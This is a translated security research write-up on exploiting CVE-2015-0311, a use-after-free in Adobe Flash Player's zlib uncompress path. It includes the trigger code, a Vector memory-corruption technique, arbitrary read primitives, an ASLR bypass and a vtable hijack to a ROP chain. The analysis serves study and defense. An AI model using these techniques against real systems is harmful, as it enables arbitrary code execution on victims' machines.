Exploiting CVE-2015-0311: A Use-After-Free in Adobe Flash Player
0x00 前言
作者:Francisco Falcón
題目:Exploiting CVE-2015-0311: A Use-After-Free in Adobe Flash Player
地址:http://blog.coresecurity.com/2015/03/04/exploiting-cve-2015-0311-a-use-after-free-in-adobe-flash-player/
一月末,Adobe釋出了Flash Player的APSA15-01安全公告,此公告修復了一個可影響FlashPlayer 16.0.0.287及之前版本的重要UAF漏洞(被確認為CVE-2015-0311)。攻擊者透過誘使不知情使用者訪問一個包含有精心構造的惡意SWF Flash檔案的網頁,可在具有該漏洞的使用者主機上執行任意程式碼。
該漏洞最早是作為一個被積極利用的零day在Angler Exploit Kit中被發現的。儘管利用程式碼用SecureSWF混淆工具高度混淆過,利用該漏洞的惡意軟體樣本還是變得公開可用,因此我決定深入底層研究該漏洞,完成漏洞利用並將相關模組寫到Core Impact Pro和Core Insight中。
0x01 漏洞概覽
當嘗試解壓縮用ActionScript中的zlib壓縮過的ByteArray中的資料時,底層的ActionScript虛擬機器(AVM)會在ByteArray::UncompressViaZlibVariant方法中處理該操作。該方法利用ByteArray::Grower類來動態增加存放解壓縮資料的目標緩衝區的大小。
當成功增加了目標緩衝區後,Grower類的解構函式就會通知所有的ByteArray(壓縮過的)的使用者必須使用增加後的緩衝區。全域性屬性ApplicationDomain.currentDomain.domainMemory就是ByteArray的一個使用者,該屬性可以被設定為一個給定ByteArray的全域性引用。引入ApplicationDomain.currentDomain.domainMemory的目的是透過使用avm2.intrinsics.memory包的底層AVM指令(如li8/si8, li16/si16, li32/si32),實現對ByteArray中的實際資料的快速讀寫操作。
當ByteArray中的資料不是合法的zlib壓縮資料時,zlib庫中的inflate()函式就會失敗,從而引出我們接下來要討論的一個問題。在執行失敗的情況下,ByteArray::UncompressViaZlibVariant() 方法會透過釋放掉增長的緩衝區並重置ByteArray的原始資料來執行回滾操作。
然而問題是,該方法並不通知使用者(ApplicationDomain.currentDomain.domainMemory)增長的緩衝區已經被釋放掉,因此ApplicationDomain.currentDomain.domainMemory會繼續保有一個指向已釋放緩衝區的懸垂引用。
0x02 根源分析
讓我們到AVM虛擬機器的原始碼中看下,在AS程式碼中呼叫ByteArray物件的uncompress()方法時到底會發生什麼。
當嘗試解壓縮ByteArray的資料時,AVM提供的ByteArray::Uncompress()方法(在core/ByteArrayGlue.cpp中定義)會根據資料的壓縮演算法呼叫一個相應的解壓縮函式。我們接下來重點看下zlib壓縮的情況。
#!c++
void ByteArray::Uncompress(CompressionAlgorithm algorithm)
{
switch (algorithm) {
case k_lzma:
UncompressViaLzma();
break;
case k_zlib:
default:
UncompressViaZlibVariant(algorithm);
break;
}
ByteArray::UncompressViaZlibVariant()透過在迴圈中呼叫zlib庫中的inflate()函式,來分塊解壓縮ByteArray中的資料,如下面的程式碼片段所示:
#!c++
void ByteArray::UncompressViaZlibVariant(CompressionAlgorithm algorithm)
{
[...]
while (error == Z_OK)
{
stream.next_out = scratch;
stream.avail_out = kScratchSize;
error = inflate(&stream, Z_NO_FLUSH);
Write(scratch, kScratchSize - stream.avail_out);
}
inflateEnd(&stream);
[...]
呼叫完zlib庫的inflate()函式後,ByteArray的Write()方法就將解壓縮後的塊資料寫入目的緩衝區中:
#!c++
void ByteArray::Write(const void* buffer, uint32_t count)
{
if (count > UINT32_T_MAX - m_position) // Do not rearrange, guards against 64-bit overflow
ThrowMemoryError();
uint32_t writeEnd = m_position + count;
Grower grower(this, writeEnd);
grower.EnsureWritableCapacity();
move_or_copy(m_buffer->array + m_position, buffer, count);
m_position += count;
if (m_buffer->length < m_position)
m_buffer->length = m_position;
}
如上所示,該方法建立了Grower類的一個例項,然後透過呼叫例項的EnsureWritableCapacity()方法增加目標緩衝區的大小。Grower例項的範圍僅限ByteArray::Write()方法中區域性呼叫,因此當Write()方法執行完後,Grower類的解構函式就會預設被立刻呼叫。
下面是Grower類解構函式的部分程式碼。它呼叫了ByteArray類的NotifySubscribers()方法:
#!c++
ByteArray::Grower::~Grower()
{
if (m_oldArray != m_owner->m_buffer->array || m_oldLength != m_owner->m_buffer->length)
{
m_owner->NotifySubscribers();
}
[...]
ByteArray::NotifySubscribers()遍歷ByteArray的所有使用者,並呼叫使用者物件的notifyGlobalMemoryChanged()方法來通知它們新增加的緩衝區地址和大小的改變:
#!c++
voidByteArray::NotifySubscribers()
{
for (uint32_t i = 0, n = m_subscribers.length(); i < n; ++i)
{
AvmAssert(m_buffer->length >= DomainEnv::GLOBAL_MEMORY_MIN_SIZE);
DomainEnv* subscriber = m_subscribers.get(i);
if (subscriber)
{
subscriber->notifyGlobalMemoryChanged(m_buffer->array, m_buffer->length);
}
else
{
// Domain went away? remove link
m_subscribers.removeAt(i);
--i;
}
}
}
最後,DomainEnv::notifyGlobalMemoryChanged()方法會更新全域性記憶體緩衝區的地址和大小。該方法真正改變ApplicationDomain.currentDomain.domainMemory的地址和大小:
#!c++
// memory changed so go through and update all reference to both the base
// and the size of the global memory
voidDomainEnv::notifyGlobalMemoryChanged(uint8_t* newBase, uint32_t newSize)
{
AvmAssert(newBase != NULL); // real base address
AvmAssert(newSize>= GLOBAL_MEMORY_MIN_SIZE); // big enough
m_globalMemoryBase = newBase;
m_globalMemorySize = (newSize> 0x7fffffff) ?0x7fffffff :newSize;
TELEMETRY_UINT32(toplevel()->core()->getTelemetry(), ".mem.bytearray.alchemy",m_globalMemorySize/1024);
}
在所有這些呼叫鏈完成後,回到ByteArray::UncompressViaZlibVariant()方法的 ”inflate()和Write()”的迴圈中。如果迴圈中某個inflate()呼叫返回一個非0值,迴圈就會退出,同時會執行一個檢查來判斷資料有沒有被完全解壓縮。如果某處出錯,就會執行一個回滾操作:呼叫TellGcDeleteBufferMemory() / mmfx_delete_array() 來釋放掉新的記憶體,同時重置回原始ByteArray資料,如下所示:
#!c++
[...]
if (error == Z_STREAM_END)
{
// everything is cool
[...]
else
{
// When we error:
// 1) free the new buffer
TellGcDeleteBufferMemory(m_buffer->array, m_buffer->capacity);
mmfx_delete_array(m_buffer->array);
if (cShared) {
m_buffer = origBuffer;
}
// 2) put the original data back.
m_buffer->array = origData;
m_buffer->length = origLen;
m_buffer->capacity = origCap;
m_position = origPos;
SetCopyOnWriteOwner(origCopyOnWriteOwner);
origBuffer = NULL; // release ref before throwing
toplevel()->throwIOError(kCompressedDataError);
}
但是請注意:這裡並沒有任何操作通知使用者新的緩衝區已經被釋放!因此,即使由於解壓縮操作失敗而導致新緩衝區被釋放,ApplicationDomain.currentDomain.domainMemory 還是會保留新緩衝區的一個引用。我們稍後會間接引用該懸垂指標,因此這是一個use-after-free(UAF)漏洞。
0x03 觸發UAF
可以透過以下步驟來重現產生懸垂指標的情況:先向ByteArray新增資料,再用zlib壓縮,然後在0x200偏移位置用垃圾資料覆蓋掉原來的壓縮資料,然後將此ByteArray指派給ApplicationDomain.currentDomain.domainMemory以建立ByteArray的使用者,最後呼叫ByteArray的uncompress()方法。
為什麼要從從0x200位置開始覆蓋壓縮資料呢?這是因為在ByteArray的開始位置保留一些合法的壓縮資料可以保證第一次對inflate()的呼叫成功;而且這樣ByteArray::Write()方法也會正常建立Grower類的例項,該例項會為儲存解壓縮的資料增加目標緩衝區的長度,並通知所有的使用者可以使用新增長的緩衝區了。
迴圈中,第二次呼叫“inflate()和Write()”時,inflate()函式會嘗試解壓縮我們構造的垃圾資料,因此一定會失敗。然後ByteArray::UncompressViaZlibVariant()就會執行回滾操作,釋放掉新增加的緩衝區,但同時卻不會通知ByteArray的所有使用者,所以就產生了懸垂指標。
下面的ActionScript程式碼片段可以重現該漏洞,使ApplicationDomain.currentDomain.domainMemory引用已釋放緩衝區:
#!c++
this.byte_array = new ByteArray();
this.byte_array.endian = Endian.LITTLE_ENDIAN;
this.byte_array.position = 0;
/* Initialize the ByteArray with some data */
while (count < 0x2000 / 4){
this.byte_array.writeUnsignedInt(0xfeedface + count);
count++;
}
/* Compress it with zlib */
this.byte_array.compress();
/* Overwrite the compressed data with junk, starting at offset 0x200 */
this.byte_array.position = 0x200;
while (pos < byte_array.length){
this.byte_array.writeByte(pos);
pos++;
}
/* Create a subscriber for that ByteArray */
ApplicationDomain.currentDomain.domainMemory = this.byte_array;
/* Trigger the bug! ByteArray::UncompressViaZlibVariant will leave ApplicationDomain.currentDomain.domainMemory
pointing to a buffer that is freed when the decompression fails. */
try{
this.byte_array.uncompress();
} catch(error:Error){
}
因此,就從這一點來說,我們已經令ApplicationDomain.currentDomain.domainMemory引用了已釋放的記憶體,而ApplicationDomain.currentDomain.domainMemory的引用也是ByteArray型別的。我們嘗試使用它的一些高層方法時,雖然好像是在操作一個合法的ByteArray,但實際上其操作的資料是錯誤的壓縮資料。
我們回過頭來再來看一下AVM虛擬機器的原始碼,並回想一下DomainEnv::notifyGlobalMemoryChanged()方法是如何更新全域性記憶體緩衝區的地址和大小的:
#!c++
m_globalMemoryBase = newBase;
m_globalMemorySize = (newSize > 0x7fffffff) ? 0x7fffffff : newSize;
m_globalMemoryBase(懸垂指標自身)和m_globalMemorySize都是DomainEnv類(core/DomainEnv.h)的成員。這些成員透過Getter方法來訪問:
#!c++
REALLY_INLINE uint8_t* globalMemoryBase() const { return m_globalMemoryBase; }
REALLY_INLINE uint32_t globalMemorySize() const { return m_globalMemorySize; }
到AVM的原始碼中搜尋下這兩個Getter方法,我們可以在core/Interpreter.cpp檔案中找到:
#!c++
#define MOPS_LOAD_INT(addr, type, call, result) \
MOPS_RANGE_CHECK(addr, type) \
union { const uint8_t* p8; const type* p; }; \
p8 = envDomain->globalMemoryBase() + (addr); \
result = *p;
#define MOPS_STORE_INT(addr, type, call, value) \
MOPS_RANGE_CHECK(addr, type) \
union { uint8_t* p8; type* p; }; \
p8 = envDomain->globalMemoryBase() + (addr); \
*p = (type)(value);
這兩個宏也在同一個core/Interpreter.cpp檔案中被使用:
#!c++
INSTR(li32) {
i1 = AvmCore::integer(sp[0]); // i1 = addr
MOPS_LOAD_INT(i1, int32_t, li32, i32l); // i32l = result
sp[0] = core->intToAtom(i32l);
NEXT;
}
[...]
INSTR(si32) {
i32l = AvmCore::integer(sp[-1]);// i32l = value
i1 = AvmCore::integer(sp[0]); // i1 = addr
MOPS_STORE_INT(i1, uint32_t, si32, i32l);
sp -= 2;
NEXT;
}
就是這樣!為了間接引用懸垂指標,我們需要使用avm2.intrinsics.memory包中的底層AVM指令,如 li8/si8, li16/si16, li32/si32等。這些指令,透過與ApplicationDomain.currentDomain.domainMemory的配合,能夠提供對包含有ByteArray實際資料的底層原始緩衝區的快速讀寫操作,而跳過使用ByteArray類高層方法的開銷。
li8/si8, li16/si16, li32/si32等指令隱式操作ApplicationDomain.currentDomain.domainMemory,如下面的ActionScript程式碼片段所示:
#!c++
/* Read a 32-bit integer from m_globalMemoryBase + 0x20 */
var some_value:uint = li32(0x20);
/* Overwrite the 32-bit integer at m_globalMemoryBase + 0x20 with 0xffffffff */
si32(0xffffffff, 0x20);
0x04 漏洞利用
為了達成對該漏洞的利用,在Web瀏覽器裡除錯含有該漏洞的Adobe Flash Player版本時,將需要在“inflate() and Write()”迴圈開始處設定斷點:
第一次斷點被命中後,透過跟蹤ByteArray::Write()的呼叫直到DomainEnv::notifyGlobalMemoryChanged()方法,可以看到ApplicationDomain.currentDomain.domainMemory是如何更新的。如下是Flash OCX二進位制檔案中的notifyGlobalMemoryChanged()方法:
[EDX+0x14]儲存了新緩衝區的地址,[EDX+0x18]則儲存了新緩衝區的大小。
在我的測試環境中,ApplicationDomain.currentDomain.domainMemory更新為下圖所示的值:緩衝區地址為0x0a98c000,緩衝區大小為0x1c32。
第二次呼叫inflate()將會觸發失敗,失敗程式碼為0xfffffffb,因此執行流進入回滾程式(命名為cleanup_on_uncompress_error的):
步入該函式中,我們可以看到它是透過呼叫TellGcDeleteBufferMemory()來釋放緩衝區的:
注意到TellGcDeleteBufferMemory()的引數是0x0a98c000 (緩衝區地址) 和0x200f。此處0x200f是緩衝區的容量,是與緩衝區長度不同的(長度是0x1C32,如上面的截圖所示)。從core/ByteArrayGlue.h檔案中可以看到:
#!c++
class Buffer : public FixedHeapRCObject
{
public:
virtual void destroy();
virtual ~Buffer();
uint8_t* array;
uint32_t capacity;
uint32_t length;
};
Buffer.capacity是緩衝區可容納的最大位元組數(本例中為0x200f),而Buffer.length是實際使用的位元組數(本例中為0x1C32),其不同之處就在於此。
呼叫完TellGcDeleteBufferMemory()之後,它立即呼叫了mmfx_delete_array()來完成緩衝區的釋放操作。
既然緩衝區已經釋放掉了,我們將在此緩衝區留下的記憶體“空洞”中分配一個有趣的物件。我使用了跟惡意樣本中一樣的方法來完成的,就是,建立一個新的佔位ByteArray,其大小設為0x2000,然後透過呼叫其clear()方法釋放掉該物件,最後再建立一個Vector.<Object>
(510*3)物件。
這意味著,在這一點上,我們已經令ApplicationDomain.currentDomain.domainMemory(應該指向包含ByteArray真實資料的原始緩衝區)指向了一個Vector物件的起始處!因為我們可以透過利用像li32/si32這樣的AVM指令在ApplicationDomain.currentDomain.domainMemory指向的記憶體中執行讀寫操作,我們就可以根據需要來讀和修改Vector物件,包括它的後設資料!
下圖展示了觸發bug後的期待狀態與實際狀態的不同,以及在緩衝區釋放造成的記憶體空洞中的Vector物件的分配情況:
0x05 篡改Vector物件
Vector物件的記憶體佈局如下:
$ ==> <Vector> 00010C00
$+4 00001FE0
$+8 08238000
$+C 082FA248
$+10 0793C000
$+14 09B8E018 <pointer to
the_vector + 0x18 - useful if you need to obtain the address of the_vector>
$+18 00000010
$+1C 00000000
$+20 .vtable 61199418 OFFSET <Flash32_.Vector_vtable> -> Overwrite it to hijack the execution flow
$+24 .length 000005FA -> Overwrite it with 0xffffffff so you can read/write from/to any memory address
$+28 .elements[] 07A86BA1 the_vector[0]
$+2C 07A86BA1 the_vector[1]
$+30 07A86BA1 the_vector[2]
... xxxxxxxx the_vector[n]
透過執行li32(0x20) 我們可以讀取到Vector物件0x20偏移處的dword資料,這裡是其虛擬函式表(vtable);而能讀到虛擬函式表的地址就足以確定Flash模組的基地址,因此也就可以繞過ASLR。
透過執行si32(0xffffffff,0x24),我們可以覆蓋掉儲存在Vector物件0x24偏移處的dword資料,該資料是物件的長度。設定這樣新的長度(0xffffffff)將允許我們在需要時讀/寫瀏覽器程式空間中任意記憶體地址的資料---|||---|||其實在Windows 7 SP1下完成漏洞利用並不需要修改Vector的長度。
然後我們以ByteArray的形式構造ROP鏈,並將其儲存為Vector的第一個element(不覆蓋任何後設資料)。
這個包含了我們構造的ROP鏈的ByteArray物件被儲存為一個tagged pointer,那什麼是tagged pointer呢?為增加指標所能儲存的資訊,Flash用指標的最後三個沒有什麼意義的bit來表示其自身的型別資訊(摘自Haifei Li’s presentation from CanSecWest 2011),這種修改後的指標就是tagged pointer:
Untagged = 000 (0)
Object = 001 (1)
String = 010 (2)
Namespace = 011 (3)
"undefined" = 100 (4)
Boolean = 101 (5)
Integer = 110 (6)
Number = 111 (7)
現在可以透過執行li32(0x28)來洩露出我們構造的ROP鏈(ByteArray物件)的地址---|||也就是執行一個原始的讀操作,來讀取Vector的第一個element,然後將讀取到的tagged pointer再透過“address & 0xfffffff8”這樣的按位與操作untag掉。
已經得到洩露出的ROP鏈(ByteArray物件)的指標後,我們接下來再去讀取ByteArray物件0x40偏移處存放的DWORD資料,此處的DWORD是指向一個ByteArray::Buffer物件的指標。下面是所引用ByteArray物件的記憶體佈局:
$ ==> <ByteArray> 71078F10 OFFSET <Flash32_.ByteArray_vtable>
$+4 00000002
$+8 069CFDD0
$+C 0697E628
$+10 06831360
$+14 00000040
$+18 71078EB8 Flash32_.71078EB8
$+1C 71078EC0 Flash32_.71078EC0
$+20 71078EB4 Flash32_.71078EB4
$+24 710BD534 Flash32_.710BD534
$+28 06603080
$+2C 06432000
$+30 0688EFB8
$+34 00000000
$+38 00000000
$+3C 7108ACC8 Flash32_.7108ACC8
$+40 0686D5D8 <pointer to ByteArray::Buffer>
$+44 00000000
為讀到儲存在ByteArray物件0x40偏移處的dword,我決定使用Vupen的Nocolas Joly提出的一種利用技術,該技術透過修改(tagging)一個指標以使其按照Number(IEEE-754 double precision)型別來解析,從而產生一個型別混亂,該型別混亂會為我們提供一個預設基本資料型別,透過它可以讀取任意地址的8位元組資料。大概過程如下:
首先我們把我們將想要讀取資料的地址修改為一個Number物件指標(將地址按位或上7--見上面的型別對應表),這樣我們就成功地建立了一個型別混亂;然後我們透過執行si32(fake_number_object,0x2c)指令,將此指向Number物件的偽造指標存放到Vector的element[]陣列中。
之後,我們讀取偽造的Number物件(下方程式碼中的this.the_vector1)的值,並將其寫入到一個備用ByteArray中;透過這種方法,我們想要讀取的地址中的8個位元組的資料就被存放到備用ByteArray中了。
#!c++
obj = this.the_vector[1];
z = new Number(obj);
var b:ByteArray = new ByteArray();
b.endian = Endian.LITTLE_ENDIAN;
b.writeDouble(z);
/* If pointer is aligned to 8, then we read the first dword */
if ((pointer & 7) == 0){
result = b[3]*0x1000000 + b[2]*0x10000 + b[1]*0x100 + b[0];
}
/* else we read the second dword */
else{
result = b[7]*0x1000000 + b[6]*0x10000 + b[5]*0x100 + b[4];
}
return result;
我們使用Number基本型別已經能夠讀取ByteArray物件0x40偏移處的dword資料,我之前提到過,該dword是指向ByteArray::Buffer的指標,然後我們可以再次使用該基本型別來讀取到ByteArray::Buffer物件0x8偏移處的dword值,該dword值正是指向我們ROP鏈原始資料的指標。如下是ByteArray::Buffer物件的記憶體佈局情況:
$==> <Buffer> 63D1945C OFFSET <Flash32_.Buffer_vtable>
$+4 00000003
$+8 .array 06BC5000 <pointer to the raw data of the ByteArray>
$+C .capacity 0000200F
$+10 .length 00001C32
這樣我們就獲取到了ROP鏈的地址(該例子中為0x06BC5000);現在我們只需執行si32(address_of_rop_chain, 0x20)指令,將Vector物件的虛擬函式表覆蓋為我們的ROP鏈,然後再呼叫Vector物件的toString()方法,此時被覆蓋掉的虛擬函式表就會被間接引用以呼叫相應函式指標,而我們也就將執行流程劫持到了我們自己的ROP中,並最終完成任意程式碼執行:
new Number(this.the_vector.toString());
0x06 結論
本文中的UAF漏洞可以被用來讀取及修改瀏覽器程式空間中的任意地址資料,允許攻擊者繞過作業系統的保護策略如ASLR和DEP,並最終導致任意程式碼執行。
然而,你應該注意到本篇博文中描述的利用方法只適用於Windows 7 SP1,不適用於Windows 8.1 Update 3(釋出於2014年11月)。為什麼呢?在Windows 8 Update 3中,微軟引入了一種新的緩解漏洞攻擊利用的CFG(Control Flow Guard)機制。CFG在所有非直接呼叫前都插入了一次檢查,以驗證呼叫的目的地址是否是編譯時被標記為“安全”的位置。執行時插入的驗證失敗,程式就檢測到了破壞正常執行流的嘗試並立即自動退出。
而Windows 8.1 Update 3中整合的Flash版本在編譯時已啟動了CFG機制,因此在攻擊利用的最後步驟中,也就是我們嘗試將Vector物件的虛擬函式表覆蓋,並呼叫toString()方法以修改執行流程時,CFG檢查函式就會檢測到我們的偽造虛擬函式表,並立即結束程式,從而阻止了我們的攻擊嘗試。
這意味著Windows 8.1 Update 3中的Flash漏洞利用引入了新的障礙:CFG保護的繞過。
劇透提醒:我們還是設法繞過了CFG,並在Windows 8.1 Update 3中成功實現了該Flash漏洞的利用。因此請期待下一篇博文,我們將在其中詳細解釋是如何做到繞過CFG並實現漏洞利用的!
相關文章
- Fedora22如何安裝Adobe Flash Player?Fedora22安裝Adobe Flash Player的方法2020-06-21
- 在 Linux 上安裝 Adobe Flash Player2020-04-03Linux
- Exploiting CVE-2015-0311, Part II: Bypassing Control Flow Guard on Windows 8.12020-08-19Windows
- Win10系統下刪除Adobe Flash Player的方法2019-02-08Win10
- Win10強制更新,永久解除安裝 Adobe Flash Player2021-02-18Win10
- Adobe Flash Player 29正式版釋出:修復安全漏洞2018-03-14
- Win10系統下Adobe Flash Player失效的解決方法2019-05-04Win10
- Win10系統刪除Adobe Flash Player外掛的方法2019-05-04Win10
- win10系統下adobe flash player不工作怎麼解決2019-01-17Win10
- 最新!Adobe 釋出修復Flash Player關鍵漏洞的安全補丁2019-09-11
- Adobe修復一個由360團隊發現的Flash Player零日漏洞2018-12-07
- Adobe Flash 浮沉錄2020-07-16
- Centos下火狐瀏覽器無法播放視訊,那就安裝一個Adobe flash player2020-09-27CentOS瀏覽器
- flash player win10如何安裝_在win10下怎樣安裝flash player2020-07-22Win10
- win10系統使用edge瀏覽器總彈出adobe flash player被阻止怎麼處理2020-06-14Win10瀏覽器
- win10系統使用Edge播放視訊提示Adobe Flash Player過期或無法使用怎麼辦2018-12-02Win10
- win10系統使用Edge播放影片提示Adobe Flash Player過期或無法使用怎麼辦2018-12-02Win10
- Win10系統無法播放網頁影片提示點選即可啟用adobe flash player如何解決2019-12-27Win10網頁
- win10系統flash player被禁用如何解除_win10系統flash player被禁用怎麼辦2020-03-04Win10
- Win10系統無法播放網頁視訊提示點選即可啟用adobe flash player如何解決2019-12-27Win10網頁
- Google Chrome即將開始警告—停止支援Flash Player2019-04-24GoChrome
- Flash Player的終章——贈予它的輓歌2020-12-30
- win10怎麼始終允許adobe flash_win10選擇以設定Adobe Flash如何操作2020-08-11Win10
- Use-After-Free漏洞2022-05-28
- ruffle-rs/ruffle:替換Flash Player的Rust模擬器2021-11-25Rust
- win10如何更新flash player_win10怎麼更新flash到最新版本2020-07-02Win10
- win10 microsoft edge flash player當前已禁用如何啟動2020-03-17Win10ROS
- XSS Attacks - Exploiting XSS Filter2020-08-19Filter
- win10 看直播老是提示什麼adobe flash怎麼解決2020-09-04Win10
- 在Windows上如何安裝和徹底解除安裝Adobe Flash Playe2021-09-09Windows
- FLASH PLAYER 谷歌瀏覽器瀏覽網站無法正常顯示的問題2018-10-31谷歌瀏覽器網站
- win10如何清理flash快取_win10清理fiash player快取的方法2019-12-19Win10快取
- win10電腦自帶瀏覽器哪裡開啟flash_win10自帶瀏覽器開啟flash player的方法2019-12-10Win10瀏覽器
- web podcast player & music player All In One2024-09-17WebAST
- 微軟為Windows 8.1/10系統推送Flash Player KB4477029補丁:修復安全漏洞2018-11-23微軟Windows
- Fault-Tolerance, Fast and Slow: Exploiting Failure Asynchrony in Distributed Systems2020-08-05ASTAI
- 微軟推送win8/8.1/10安全補丁KB4471331:修復flash Player的零日漏洞2018-12-10微軟
- Exploiting “BadIRET” vulnerability (CVE-2014-9322, Linux kernel privilege escalation)2020-08-19Linux